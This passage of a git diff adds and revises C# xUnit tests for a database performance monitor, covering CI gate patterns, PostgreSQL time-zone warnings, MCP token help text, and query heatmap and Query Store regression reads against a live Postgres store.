+                await LiveStoreCleanup.RunAsync(Scratch.ConnectionString, bodySucceeded, async (cleanup, cleanupCt) =>
+                {
+                    if (extraSql is not null)
+                    {
+                        await using var command = new NpgsqlCommand(extraSql, cleanup);
+                        await command.ExecuteNonQueryAsync(cleanupCt);
+                    }
+                });
+            }
+            finally
+            {
+                try
+                {
+                    System.IO.Directory.Delete(Directory, recursive: true);
+                }
+                catch (IOException)
+                {
+                }
+                catch (UnauthorizedAccessException)
+                {
+                }
+            }
+        }
+
+        public async ValueTask DisposeAsync()
+        {
+            await Source.DisposeAsync();
+            await Scratch.DisposeAsync();
+        }
+    }
+}
diff --git a/Darling/Darling.Tests/DarlingPathFilterGateTests.cs b/Darling/Darling.Tests/DarlingPathFilterGateTests.cs
index d20919d398..5bc2492a3a 100644
--- a/Darling/Darling.Tests/DarlingPathFilterGateTests.cs
+++ b/Darling/Darling.Tests/DarlingPathFilterGateTests.cs
@@ -224,6 +224,35 @@ public void TheStoreUpgradeGate_CoversTheSchemaAndTheFixtureScriptsAndTheService
         Assert.Contains("Darling/tools/fetch-pg-runtime.ps1", patterns, StringComparer.Ordinal);
     }
 
+    /// <summary>
+    /// The two CI shard scripts reach the Darling gate (#5616). The Darling PostgreSQL shard job runs
+    /// run-darling-pg-shard.ps1, and Darling.Tests parses both it and run-lite-shard.ps1, so a pull request
+    /// that edits only a script must not be waved through with every shard skipped.
+    /// </summary>
+    [Fact]
+    public void TheDarlingGate_CoversTheTwoShardScripts()
+    {
+        var patterns = FilterPatterns(ReadRepoFileLf(s_gateSegments), "darling");
+
+        Assert.NotEmpty(patterns);
+        Assert.Contains(".github/scripts/run-darling-pg-shard.ps1", patterns, StringComparer.Ordinal);
+        Assert.Contains(".github/scripts/run-lite-shard.ps1", patterns, StringComparer.Ordinal);
+    }
+
+    /// <summary>
+    /// The upgrade-shape workflow and its script reach the Darling gate (#5627). Darling.Tests parses both
+    /// (DarlingUpgradeShapesWorkflowTests), so a pull request that edits only one of them must not be waved
+    /// through with every shard skipped.
+    /// </summary>
+    [Fact]
+    public void TheDarlingGate_CoversTheUpgradeShapeWorkflowAndItsScript()
+    {
+        var patterns = FilterPatterns(ReadRepoFileLf(s_gateSegments), "darling");
+
+        Assert.Contains(".github/workflows/darling-upgrade-shapes.yml", patterns, StringComparer.Ordinal);
+        Assert.Contains(".github/scripts/darling-upgrade-shapes.ps1", patterns, StringComparer.Ordinal);
+    }
+
     /// <summary>
     /// The coverage check reports an injected gap, the same shape as
     /// <see cref="TheCoverageCheck_ReportsAnInjectedGap"/> above and for the same reason: a parser that
diff --git a/Darling/Darling.Tests/DarlingPerDatabaseProbeFailureTests.cs b/Darling/Darling.Tests/DarlingPerDatabaseProbeFailureTests.cs
index 11eea5bf26..d9c920b7dd 100644
--- a/Darling/Darling.Tests/DarlingPerDatabaseProbeFailureTests.cs
+++ b/Darling/Darling.Tests/DarlingPerDatabaseProbeFailureTests.cs
@@ -192,7 +192,12 @@ public void Blocked_Process_Report_Is_The_Collector_This_Reaches()
            cannot quietly become the third case without someone reading this. */
         Assert.True(BlockedProcessReportCollector.Instance.EmitsProbeFailures);
         Assert.True(BlockedProcessReportCollector.Instance.RunsPerDatabase(new CollectorTargetInfo { IsAzureSqlDb = true }));
-        Assert.False(DatabaseSizeStatsCollector.Instance.RunsPerDatabase(new CollectorTargetInfo { IsAzureSqlDb = true }));
+
+        /* #5498: database_size_stats now runs per database on Azure too. Its Azure text emits no trailing set, and
+           the contract reads an absent set as zero failures, so declaring the flag there changes nothing. */
+        Assert.True(DatabaseSizeStatsCollector.Instance.EmitsProbeFailures);
+        Assert.True(DatabaseSizeStatsCollector.Instance.RunsPerDatabase(new CollectorTargetInfo { IsAzureSqlDb = true }));
+        Assert.False(DatabaseSizeStatsCollector.Instance.RunsPerDatabase(new CollectorTargetInfo()));
     }
 
     /* ── helpers ── */
diff --git a/Darling/Darling.Tests/DarlingPgDatabaseStatsLiveTests.cs b/Darling/Darling.Tests/DarlingPgDatabaseStatsLiveTests.cs
index 0ce6dd22a6..52e1e5876a 100644
--- a/Darling/Darling.Tests/DarlingPgDatabaseStatsLiveTests.cs
+++ b/Darling/Darling.Tests/DarlingPgDatabaseStatsLiveTests.cs
@@ -67,6 +67,8 @@ public async Task ResetsAreReportedAsResets_AndTheEmptyAnswerNamesWhichKindOfNot
         try
         {
             await DarlingMcpTestData.RegisterServerAsync(connection, ServerId, ServerName, ct);
+            /* #4966: registered long before the window, so the window is covered and the all-clear below keeps its claim. */
+            await DarlingMcpTestData.ExecAsync(connection, ct, "UPDATE servers SET created_date = $2 WHERE server_id = $1", ServerId, DarlingMcpTestData.Naive(DateTime.UtcNow.AddDays(-30)));
 
             /* ── a SQL Server target: the gap is the ENGINE, and it is permanent ──
 
@@ -113,6 +115,8 @@ collection cycle to land. */
                honest answer is "nothing happened". A probe that carried the read's own HAVING filter would
                find no rows here and call the server uncollected, sending someone to fix collection that is
                working perfectly. */
+            /* #4966: an older capture, outside the 4-hour window, so the store's coverage reaches back past its start: this window is covered and keeps its claim. */
+            await SeedAsync(connection, ct, MinutesAgo(60 * 24 * 10), "idledb", 1_000, 10, 100, 9_900, 0, 0, 0, null);
             var t1 = t0.AddSeconds(60);
             await SeedAsync(connection, ct, t1, "idledb", 1_000, 10, 100, 9_900, 0, 0, 0, null);
 
diff --git a/Darling/Darling.Tests/DarlingPgIndexBloatCoverageLivePostgresTests.cs b/Darling/Darling.Tests/DarlingPgIndexBloatCoverageLivePostgresTests.cs
index cff387b117..129e0c6b11 100644
--- a/Darling/Darling.Tests/DarlingPgIndexBloatCoverageLivePostgresTests.cs
+++ b/Darling/Darling.Tests/DarlingPgIndexBloatCoverageLivePostgresTests.cs
@@ -92,7 +92,7 @@ public async Task TheCensusExecutesAndAnswersOverThePopulation()
         {
             await DarlingMcpTestData.RegisterServerAsync(connection, ServerId, ServerName, ct);
 
-            var now = DarlingMcpTestData.TruncateToSeconds(DateTime.UtcNow);
+            var now = DarlingMcpTestData.TruncateToSeconds(DateTime.SpecifyKind(LiveClock.Now(), DateTimeKind.Utc));
             var newest = now.AddHours(-2);
             var older = now.AddHours(-26);
 
diff --git a/Darling/Darling.Tests/DarlingPgReadSqlParsesLiveTests.cs b/Darling/Darling.Tests/DarlingPgReadSqlParsesLiveTests.cs
index f8e3a9def2..600ddd47b7 100644
--- a/Darling/Darling.Tests/DarlingPgReadSqlParsesLiveTests.cs
+++ b/Darling/Darling.Tests/DarlingPgReadSqlParsesLiveTests.cs
@@ -44,6 +44,7 @@ namespace Darling.Tests;
 /// finding no work to do — the precise failure mode of the text pins it replaces.</para>
 /// </summary>
 [Collection("live-postgres")]
+[Trait("Reads", "Lite")]
 public sealed class DarlingPgReadSqlParsesLiveTests
 {
     /// <summary>
diff --git a/Darling/Darling.Tests/DarlingPgUnresolvedZoneWarningTests.cs b/Darling/Darling.Tests/DarlingPgUnresolvedZoneWarningTests.cs
new file mode 100644
index 0000000000..e7f441c769
--- /dev/null
+++ b/Darling/Darling.Tests/DarlingPgUnresolvedZoneWarningTests.cs
@@ -0,0 +1,52 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System.Linq;
+using PerformanceMonitor.Darling.Service;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #4938: a PostgreSQL server whose <c>TimeZone</c> text does not resolve reads as UTC, and says so once: the warning
+/// names the zone text and says run times use UTC. A zone that resolves logs nothing.
+/// </summary>
+public sealed class DarlingPgUnresolvedZoneWarningTests
+{
+    private const string PosixZone = "EST5EDT,M3.2.0,M11.1.0";
+
+    [Fact]
+    public void AnUnresolvedZone_WarnsOncePerServer_NamingTheZone_AndReadsAsUtc()
+    {
+        var logger = new CapturingTestLogger();
+
+        var first = DarlingWorker.ResolvePgServerClock(49381, PosixZone, logger);
+        DarlingWorker.ResolvePgServerClock(49381, PosixZone, logger);
+        DarlingWorker.ResolvePgServerClock(49381, PosixZone, logger);
+
+        var warnings = logger.Lines.Where(l => l.StartsWith("Warning:", System.StringComparison.Ordinal)).ToList();
+        Assert.Single(warnings);
+        Assert.Contains(PosixZone, warnings[0]);
+        Assert.Contains("UTC", warnings[0]);
+        Assert.Equal(DarlingWorker.ResolvePgServerClock(49382, PosixZone, null).Id, first.Id);
+
+        /* A second server with the same text warns on its own. */
+        DarlingWorker.ResolvePgServerClock(49383, PosixZone, logger);
+        Assert.Equal(2, logger.CountAtLevel(Microsoft.Extensions.Logging.LogLevel.Warning));
+    }
+
+    [Fact]
+    public void AResolvedZone_LogsNothing()
+    {
+        var logger = new CapturingTestLogger();
+
+        DarlingWorker.ResolvePgServerClock(49384, "UTC", logger);
+
+        Assert.Equal(0, logger.CountAtLevel(Microsoft.Extensions.Logging.LogLevel.Warning));
+    }
+}
diff --git a/Darling/Darling.Tests/DarlingPrintEndpointTokenTests.cs b/Darling/Darling.Tests/DarlingPrintEndpointTokenTests.cs
index 7a5d8b9a58..3bdd51201c 100644
--- a/Darling/Darling.Tests/DarlingPrintEndpointTokenTests.cs
+++ b/Darling/Darling.Tests/DarlingPrintEndpointTokenTests.cs
@@ -130,6 +130,43 @@ public void Elevated_WithNoNetworkBlock_SaysSo_AndPrintsNothing()
         Assert.Contains("--configure-network", error.ToString(), StringComparison.Ordinal);
     }
 
+    /// <summary>The warning before the payload says the token gates every client of the endpoint, local ones included,
+    /// and the Viewer's copy-MCP-command button tells the user how to add the header.</summary>
+    [Fact]
+    public void TheTokenText_SaysLocalClientsSendItToo_AndTheViewerButtonNamesTheHeaderAndTheVerb()
+    {
+        var output = new StringWriter();
+        var error = new StringWriter();
+
+        var exit = DarlingCliCommands.PrintEndpointToken(
+            "mcp", "MCP bearer", "--print-mcp-token", "clients send it as a header",
+            elevated: true, configured: true, () => "s3cret-token-value", output, error);
+
+        Assert.Equal(0, exit);
+        Assert.Contains("local clients included", error.ToString(), StringComparison.Ordinal);
+
+        var cli = ReadRepoSource("PerformanceMonitor.Darling.Service", "DarlingCliCommands.cs");
+        Assert.DoesNotContain("Remote MCP clients send it", cli, StringComparison.Ordinal);
+        Assert.Contains("Every MCP client sends it as the header", cli, StringComparison.Ordinal);
+
+        var viewer = ReadRepoSource("PerformanceMonitor.Darling.Viewer", "SettingsWindow.xaml.cs");
+        Assert.Contains("Authorization: Bearer <token>", viewer, StringComparison.Ordinal);
+        Assert.Contains("--print-mcp-token", viewer, StringComparison.Ordinal);
+    }
+
+    private static string ReadRepoSource(string project, string fileName, [CallerFilePath] string thisFile = "")
+    {
+        var relative = Path.Combine("Darling", project, fileName);
+        var dir = Path.GetDirectoryName(thisFile)!;
+        while (dir is not null && !File.Exists(Path.Combine(dir, relative)))
+        {
+            dir = Path.GetDirectoryName(dir);
+        }
+
+        Assert.True(dir is not null, $"{relative} not found above the test file");
+        return File.ReadAllText(Path.Combine(dir!, relative));
+    }
+
     /// <summary>A configured block whose token resolves empty is not a token — printing a blank line would
     /// have the operator paste nothing into a client and wonder why it is refused.</summary>
     [Fact]
@@ -369,7 +406,17 @@ public void EachHost_ReportsTheLifetime_InBothBindModes(string fileName)
            that the nearest enclosing brace context is the start-up block, not the if/else — asserted here
            the cheap way: the call is after BOTH branches' log statements. */
         var loopbackLine = source.IndexOf("(loopback only)", StringComparison.Ordinal);
-        var exposedLine = source.IndexOf("loopback also bound", StringComparison.Ordinal);
+
+        /* Where the LAN start line is LOGGED. The web host writes its text inline ("loopback also bound ..."). The MCP
+           host builds it in DescribeNetworkStart (#5288: the line names the scheme it serves), so its log statement is
+           the call to that helper, which sits ahead of the lifetime call, while the helper's own text sits after the
+           whole start-up method and is not where the line is written. The pin still requires the lifetime to come
+           after the LAN start line's log statement. */
+        var exposedLine = source.IndexOf("DescribeNetworkStart(", StringComparison.Ordinal);
+        if (exposedLine < 0)
+        {
+            exposedLine = source.IndexOf("loopback also bound", StringComparison.Ordinal);
+        }
 
         Assert.True(loopbackLine >= 0, $"{fileName}'s loopback start line is gone — this pin needs rewriting");
         Assert.True(exposedLine >= 0, $"{fileName}'s LAN start line is gone — this pin needs rewriting");
diff --git a/Darling/Darling.Tests/DarlingPvsReaderServerClockTests.cs b/Darling/Darling.Tests/DarlingPvsReaderServerClockTests.cs
index b282f40a54..3d86808de7 100644
--- a/Darling/Darling.Tests/DarlingPvsReaderServerClockTests.cs
+++ b/Darling/Darling.Tests/DarlingPvsReaderServerClockTests.cs
@@ -26,8 +26,8 @@ namespace Darling.Tests;
 /// </summary>
 public sealed class DarlingPvsReaderServerClockTests
 {
-    /* The select is 13 columns wide: four server-local cleaner times at 8..11, then collection_time. */
-    private static DataTable NewTable() => Table(13, 8, 9, 10, 11, 12);
+    /* The select is 16 columns wide: four server-local cleaner times at 8..11, collection_time, then the three skipped counters. */
+    private static DataTable NewTable() => Table(16, 8, 9, 10, 11, 12);
 
     private static DarlingPvsReader.PvsStatsRow Read(DataTable table, ServerClock clock)
     {
diff --git a/Darling/Darling.Tests/DarlingQueryHeatmapTests.cs b/Darling/Darling.Tests/DarlingQueryHeatmapTests.cs
index 17e4e36e27..c02cbaf234 100644
--- a/Darling/Darling.Tests/DarlingQueryHeatmapTests.cs
+++ b/Darling/Darling.Tests/DarlingQueryHeatmapTests.cs
@@ -161,11 +161,14 @@ be shown. */
         Assert.Contains("FROM query_stats", sql, StringComparison.Ordinal);
         Assert.DoesNotContain("v_query_stats", sql, StringComparison.Ordinal);
 
-        /* The preview is resolved for the rn = 1 row of each cell only, at the #4198 bound width - inline
-           text when the row predates #1767, the dimension row when it does not, truncated last. */
+        /* The text is resolved for the rn = 1 row of each cell only - inline text when the row predates #1767, the
+           dimension row when it does not - and comes back WHOLE (#5320): the statement filter judges the whole
+           text and the preview is cut after it in C#, so no SQL cut can end inside a value whose naming text lies
+           past it. */
         Assert.Contains(
-            "LEFT(COALESCE(query_text, (SELECT d.query_text FROM query_text_dim d WHERE d.digest = ranked.query_text_digest)), $7) AS top_query_text",
+            "COALESCE(query_text, (SELECT d.query_text FROM query_text_dim d WHERE d.digest = ranked.query_text_digest)) AS top_query_text",
             sql, StringComparison.Ordinal);
+        Assert.DoesNotContain("LEFT(", sql, StringComparison.Ordinal);
         Assert.DoesNotContain("LEFT(query_text, 120)", sql, StringComparison.Ordinal);
 
         /* DuckDB's ARG_MAX has no Postgres equivalent; the viewer's replacement is a top-1 window over the
@@ -432,6 +435,7 @@ caller to widen the window here would point them at the wrong problem.
             Assert.Equal("empty", idle.GetProperty("status").GetString());
             var idleText = idle.GetProperty("message").GetString()!;
             Assert.Contains("zero execution delta", idleText, StringComparison.Ordinal);
+            Assert.EndsWith(". A server that is up and idle looks exactly like this, and so does a database_name filter matching nothing collected. Delta-based collection also needs a SECOND cycle before the first non-zero row exists.", idleText, StringComparison.Ordinal);
             Assert.DoesNotContain("Widen hours_back", idleText, StringComparison.Ordinal);
             Assert.DoesNotContain("EVER", idleText, StringComparison.Ordinal);
 
@@ -615,6 +619,190 @@ private static async Task DeleteRowsAsync(NpgsqlConnection connection, Cancellat
     private const string ParityServerName = "query-heatmap-parity";
     private const string ParityDb = "AppDb";
 
+    /// <summary>Runs <paramref name="body"/> against a registered, empty server and removes what it seeded. The seeded
+    /// instants are offsets from the current second, never a fixed date: the data-start probe reads the clock for the
+    /// purge edge, so a fixed past anchor would fall wholly outside the store's coverage.</summary>
+    private async Task WithServerAsync(Func<NpgsqlConnection, NpgsqlDataSource, DateTime, CancellationToken, Task> body)
+    {
+        var cs = ConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(cs),
+            "Set DARLING_TEST_PG to a Postgres connection string to run the live heatmap test.");
+
+        var ct = TestContext.Current.CancellationToken;
+        using var connection = new NpgsqlConnection(cs);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+        await DeleteRowsAsync(connection, ct);
+
+        await using var postgres = NpgsqlDataSource.Create(cs!);
+        var bodySucceeded = false;
+        try
+        {
+            await DarlingMcpTestData.RegisterServerAsync(connection, ServerId, ServerName, ct);
+            await body(connection, postgres, DarlingMcpTestData.TruncateToSeconds(DateTime.UtcNow), ct);
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(cs!, bodySucceeded, async (cleanup, cleanupCt) =>
+                await DeleteRowsAsync(cleanup, cleanupCt));
+        }
+    }
+
+    /// <summary>
+    /// #4966: the first row of the table comes three hours into a 24-hour window, so the grid's left edge is not the
+    /// window's. The three keys sit right after <c>hours_back</c>, <c>effective_start</c> is the first row's time (exact:
+    /// the table is raw, so its coverage starts at its oldest row), and the note names the table.
+    /// </summary>
+    [Fact]
+    public async Task ARealGrid_WhoseRowsStartInsideTheRange_SaysWhereTheDataStarts_AgainstDevPostgres()
+    {
+        await WithServerAsync(async (connection, postgres, baseNow, ct) =>
+        {
+            var t1 = FloorToHour(baseNow.AddHours(-3));
+            await SeedAsync(connection, ct, t1, "0xHOT", deltaExec: 5, deltaElapsed: 250_000);
+            await SeedAsync(connection, ct, t1.AddMinutes(35), "0xNEXT", deltaExec: 3, deltaElapsed: 90_000);
+
+            var grid = Root(await DarlingMcpQueryHeatmapTools.GetQueryHeatmap(postgres, ServerName, 24));
+
+            Assert.True(grid.GetProperty("window_truncated").GetBoolean());
+            Assert.Equal(McpHelpers.FormatEffectiveStart(t1), grid.GetProperty("effective_start").GetString());
+            Assert.Equal(
+                DarlingMcpWindowNotice.Build(t1, ParseUtc(grid.GetProperty("window_start").GetString()!), "query_stats").TruncationNote,
+                grid.GetProperty("truncation_note").GetString());
+            Assert.Contains("raw query_stats retains", grid.GetProperty("truncation_note").GetString(), StringComparison.Ordinal);
+            Assert.False(grid.TryGetProperty("effective_hours_back", out _));
+
+            var names = grid.EnumerateObject().Select(p => p.Name).ToList();
+            Assert.Equal(["effective_start", "window_truncated", "truncation_note"], names.Skip(names.IndexOf("hours_back") + 1).Take(3));
+        });
+    }
+
+    /// <summary>
+    /// #4966: a quiet start. The table holds a row from before the window, so the window is covered whenever its own rows
+    /// begin: false, no note, and <c>effective_start</c> is the window's start (the one the payload names, not a row's time).
+    /// </summary>
+    [Fact]
+    public async Task ARealGrid_WhoseTableReachesBeforeTheRange_SaysNothing_AgainstDevPostgres()
+    {
+        await WithServerAsync(async (connection, postgres, baseNow, ct) =>
+        {
+            await SeedAsync(connection, ct, baseNow.AddHours(-40), "0xOLD", deltaExec: 4, deltaElapsed: 200_000);
+            await SeedAsync(connection, ct, FloorToHour(baseNow.AddHours(-3)), "0xHOT", deltaExec: 5, deltaElapsed: 250_000);
+
+            var grid = Root(await DarlingMcpQueryHeatmapTools.GetQueryHeatmap(postgres, ServerName, 24));
+
+            Assert.False(grid.GetProperty("window_truncated").GetBoolean());
+            Assert.Equal(JsonValueKind.Null, grid.GetProperty("truncation_note").ValueKind);
+            Assert.Equal(grid.GetProperty("window_start").GetString(), grid.GetProperty("effective_start").GetString());
+        });
+    }
+
+    /// <summary>
+    /// #4966: a failed data-start probe costs the notice, never the answer. The grid comes back with the three keys absent,
+    /// and an empty answer carries no hints.
+    /// </summary>
+    [Fact]
+    public async Task AFailedProbe_CostsTheNotice_NeverTheGrid_AgainstDevPostgres()
+    {
+        await WithServerAsync(async (connection, postgres, baseNow, ct) =>
+        {
+            var t1 = FloorToHour(baseNow.AddHours(-3));
+            await SeedAsync(connection, ct, t1, "0xHOT", deltaExec: 5, deltaElapsed: 250_000);
+
+            var bodySucceeded = false;
+            DarlingMcpWindowNotice.TestOnlyProbe = () => throw new TimeoutException("the probe's deadline passed");
+            try
+            {
+                var grid = Root(await DarlingMcpQueryHeatmapTools.GetQueryHeatmap(postgres, ServerName, 24));
+
+                Assert.False(grid.TryGetProperty("status", out _));
+                Assert.False(grid.TryGetProperty("error", out _));
+                Assert.True(grid.TryGetProperty("window_start", out _));
+                Assert.False(grid.TryGetProperty("effective_start", out _));
+                Assert.False(grid.TryGetProperty("window_truncated", out _));
+                Assert.False(grid.TryGetProperty("truncation_note", out _));
+
+                var empty = Root(await DarlingMcpQueryHeatmapTools.GetQueryHeatmap(postgres, ServerName, 1));
+                Assert.Equal("empty", empty.GetProperty("status").GetString());
+                Assert.False(empty.TryGetProperty("hints", out _));
+                bodySucceeded = true;
+            }
+            finally
+            {
+                await LiveStoreCleanup.RunOwnedAsync(bodySucceeded, () =>
+                {
+                    DarlingMcpWindowNotice.TestOnlyProbe = null;
+                    return Task.CompletedTask;
+                });
+            }
+        });
+    }
+
+    /// <summary>
+    /// #4966: every <c>empty</c> answer carries the three keys under <c>hints</c>, and <c>unavailable</c> carries none.
+    /// Rows only outside the window: the store holds no collection of the window, so the hints say NOT covered with no start
+    /// to name. Then a zero-execution capture inside it: the store did look, so covered, at the window's start.
+    /// </summary>
+    [Fact]
+    public async Task TheEmptyAnswers_CarryTheDataStartHints_AndTheUnavailableOneStaysBare_AgainstDevPostgres()
+    {
+        await WithServerAsync(async (connection, postgres, baseNow, ct) =>
+        {
+            var never = Root(await DarlingMcpQueryHeatmapTools.GetQueryHeatmap(postgres, ServerName));
+            Assert.Equal("unavailable", never.GetProperty("status").GetString());
+            Assert.False(never.TryGetProperty("hints", out _));
+
+            await SeedAsync(connection, ct, baseNow.AddHours(-40), "0xOLD", deltaExec: 4, deltaElapsed: 200_000);
+
+            var outside = Root(await DarlingMcpQueryHeatmapTools.GetQueryHeatmap(postgres, ServerName, 2));
+            Assert.Equal("empty", outside.GetProperty("status").GetString());
+            var outsideHints = outside.GetProperty("hints");
+            Assert.True(outsideHints.GetProperty("window_truncated").GetBoolean());
+            Assert.Equal(JsonValueKind.Null, outsideHints.GetProperty("effective_start").ValueKind);
+            Assert.Contains("no collection of query_stats", outsideHints.GetProperty("truncation_note").GetString(), StringComparison.Ordinal);
+
+            await SeedAsync(connection, ct, baseNow.AddMinutes(-30), "0xIDLE", deltaExec: 0, deltaElapsed: 999_000);
+
+            var idle = Root(await DarlingMcpQueryHeatmapTools.GetQueryHeatmap(postgres, ServerName, 24));
+            Assert.Equal("empty", idle.GetProperty("status").GetString());
+            var idleHints = idle.GetProperty("hints");
+            Assert.False(idleHints.GetProperty("window_truncated").GetBoolean());
+            Assert.Equal(JsonValueKind.Null, idleHints.GetProperty("truncation_note").ValueKind);
+            Assert.EndsWith(". A server that is up and idle looks exactly like this, and so does a database_name filter matching nothing collected. Delta-based collection also needs a SECOND cycle before the first non-zero row exists.", idle.GetProperty("message").GetString()!, StringComparison.Ordinal);
+            Assert.EndsWith("Z", idleHints.GetProperty("effective_start").GetString()!, StringComparison.Ordinal);
+        });
+    }
+
+    /// <summary>
+    /// #4966: an idle grid (collected, every capture at zero executions) over a window the table does not reach back to says so
+    /// instead of "idle": the first sentence stays, the cut sentence points at <c>effective_start</c>. The same read with a
+    /// <c>database_name</c> filter is exempt and keeps the sentence that names the filter as a cause.
+    /// </summary>
+    [Fact]
+    public async Task AnIdleGrid_OverACutWindow_CarriesTheCutSentence_AndAFilteredOneKeepsItsOwn_AgainstDevPostgres()
+    {
+        await WithServerAsync(async (connection, postgres, baseNow, ct) =>
+        {
+            await SeedAsync(connection, ct, baseNow.AddHours(-3), "0xIDLE1", deltaExec: 0, deltaElapsed: 999_000);
+            await SeedAsync(connection, ct, baseNow.AddMinutes(-30), "0xIDLE2", deltaExec: 0, deltaElapsed: 999_000);
+
+            var cut = Root(await DarlingMcpQueryHeatmapTools.GetQueryHeatmap(postgres, ServerName, 24));
+            Assert.Equal("empty", cut.GetProperty("status").GetString());
+            Assert.True(cut.GetProperty("hints").GetProperty("window_truncated").GetBoolean());
+            Assert.NotEqual(JsonValueKind.Null, cut.GetProperty("hints").GetProperty("effective_start").ValueKind);
+            var cutText = cut.GetProperty("message").GetString()!;
+            Assert.StartsWith($"Query stats WERE collected for {ServerName} in the last 24 hour(s), but no capture recorded an execution", cutText, StringComparison.Ordinal);
+            Assert.EndsWith(". " + McpHelpers.CutWindowNothingMessage + " Delta-based collection also needs a SECOND cycle before the first non-zero row exists.", cutText, StringComparison.Ordinal);
+            Assert.DoesNotContain("up and idle", cutText, StringComparison.Ordinal);
+
+            var filtered = Root(await DarlingMcpQueryHeatmapTools.GetQueryHeatmap(postgres, ServerName, 24, database_name: Db));
+            Assert.True(filtered.GetProperty("hints").GetProperty("window_truncated").GetBoolean());
+            Assert.Contains("a database_name filter matching nothing collected", filtered.GetProperty("message").GetString()!, StringComparison.Ordinal);
+            Assert.DoesNotContain("Nothing in the part of the window", filtered.GetProperty("message").GetString()!, StringComparison.Ordinal);
+        });
+    }
+
     /// <summary>
     /// #4233 ruling item 4's live pin: the pre-#4233 SQL (fetched via <c>git show origin/dev:...</c> before
     /// this PR's rewrite landed, pinned below as <see cref="PreQ4233HeatmapSql"/> so it cannot silently rot)
@@ -817,7 +1005,9 @@ await DarlingMcpTestData.ExecAsync(connection, ct,
         command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Array | NpgsqlDbType.Text, Value = DBNull.Value });
         command.Parameters.Add(new NpgsqlParameter<int> { TypedValue = 5 });
         command.Parameters.Add(new NpgsqlParameter<int> { TypedValue = 500 });
-        command.Parameters.Add(new NpgsqlParameter<int> { TypedValue = 120 });
+        /* #5320: the reader's SQL no longer cuts the text, so it takes no preview-width parameter; the pre-#4233 copy still does. */
+        if (sql.Contains("$7", StringComparison.Ordinal))
+            command.Parameters.Add(new NpgsqlParameter<int> { TypedValue = 120 });
 
         await using var reader = await command.ExecuteReaderAsync(ct);
         while (await reader.ReadAsync(ct))
diff --git a/Darling/Darling.Tests/DarlingQueryStoreRegressionsTests.cs b/Darling/Darling.Tests/DarlingQueryStoreRegressionsTests.cs
index 2c0d419700..ae5aa97e51 100644
--- a/Darling/Darling.Tests/DarlingQueryStoreRegressionsTests.cs
+++ b/Darling/Darling.Tests/DarlingQueryStoreRegressionsTests.cs
@@ -18,6 +18,7 @@
 using ModelContextProtocol.Server;
 using Npgsql;
 using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Common;
 using PerformanceMonitor.Darling.Service.Mcp;
 using PerformanceMonitor.Darling.Storage;
 using Xunit;
@@ -173,6 +174,17 @@ false whenever it is in fact true. */
         Assert.Equal(2, CountOf(sql, "EXISTS ("));
     }
 
+    /// <summary>
+    /// #5015: the coverage probe takes the read's database filter ($5), in both of its questions, so a filter that matched
+    /// nothing can be told from one that matched and found nothing wrong.
+    /// </summary>
+    [Fact]
+    public void CoverageSql_TakesTheReadsDatabaseFilter_InBothQuestions()
+    {
+        var sql = DarlingQueryStoreRegressionReader.RegressionCoverageSql;
+        Assert.Equal(2, CountOf(sql, "$5::text[] IS NULL OR database_name = ANY($5)"));
+    }
+
     [Theory]
     [InlineData(nameof(DarlingQueryStoreRegressionReader.QueryStoreRegressionsSql))]
     [InlineData(nameof(DarlingQueryStoreRegressionReader.RegressionCoverageSql))]
@@ -247,6 +259,7 @@ public sealed class DarlingQueryStoreRegressionsLiveTests
     private const int ServerId = -949556;
     private const string ServerName = "query-store-regressions";
     private const string Db = "AppDb";
+    private const string OtherDb = "OtherDb";
 
     private static string? ConnectionString => Environment.GetEnvironmentVariable("DARLING_TEST_PG");
 
@@ -299,7 +312,8 @@ rather than by deleting rows between assertions.
             var clear = Root(await DarlingMcpQueryStoreRegressionTools.GetQueryStoreRegressions(postgres, ServerName, 24));
             Assert.Equal("empty", clear.GetProperty("status").GetString());
             var clearText = clear.GetProperty("message").GetString()!;
-            Assert.Contains("all-clear", clearText, StringComparison.Ordinal);
+            /* #4966: the baseline reaches 40 hours back, past the 24-hour window's start but not seven days, so the window is cut and the all-clear gives way. */
+            AssertCutAllClear(clear, clearText);
             Assert.DoesNotContain("EVER", clearText, StringComparison.Ordinal);
             Assert.DoesNotContain("Widen", clearText, StringComparison.Ordinal);
 
@@ -380,11 +394,376 @@ await LiveStoreCleanup.RunAsync(cs!, bodySucceeded, async (cleanup, cleanupCt) =
         }
     }
 
+    /// <summary>Runs <paramref name="body"/> against a registered, empty server and removes what it seeded. The seeded
+    /// instants are offsets from the current second, never a fixed date: the data-start probe reads the clock for the
+    /// purge edge, so a fixed past anchor would fall wholly outside the store's coverage.</summary>
+    private async Task WithServerAsync(Func<NpgsqlConnection, NpgsqlDataSource, DateTime, CancellationToken, Task> body)
+    {
+        var cs = ConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(cs),
+            "Set DARLING_TEST_PG to a Postgres connection string to run the live regressions test.");
+
+        var ct = TestContext.Current.CancellationToken;
+        using var connection = new NpgsqlConnection(cs);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+        await DeleteRowsAsync(connection, ct);
+
+        await using var postgres = NpgsqlDataSource.Create(cs!);
+        var bodySucceeded = false;
+        try
+        {
+            await DarlingMcpTestData.RegisterServerAsync(connection, ServerId, ServerName, ct);
+            await body(connection, postgres, DarlingMcpTestData.TruncateToSeconds(DateTime.UtcNow), ct);
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(cs!, bodySucceeded, async (cleanup, cleanupCt) =>
+                await DeleteRowsAsync(cleanup, cleanupCt));
+        }
+    }
+
+    /// <summary>The truncated-baseline sentence Lite adds to its note, which this tool copies.</summary>
+    private const string BaselineTail = "Here the window starts at baseline_start, so the baseline holds only the part from effective_start to baseline_end.";
+
+    /// <summary>
+    /// #4966: the store's first Query Store row comes 40 hours back, inside the 7-day baseline, so the baseline holds only part
+    /// of what <c>baseline_start</c> names. The answer says so: truncated, <c>effective_start</c> is that first row (exact: the
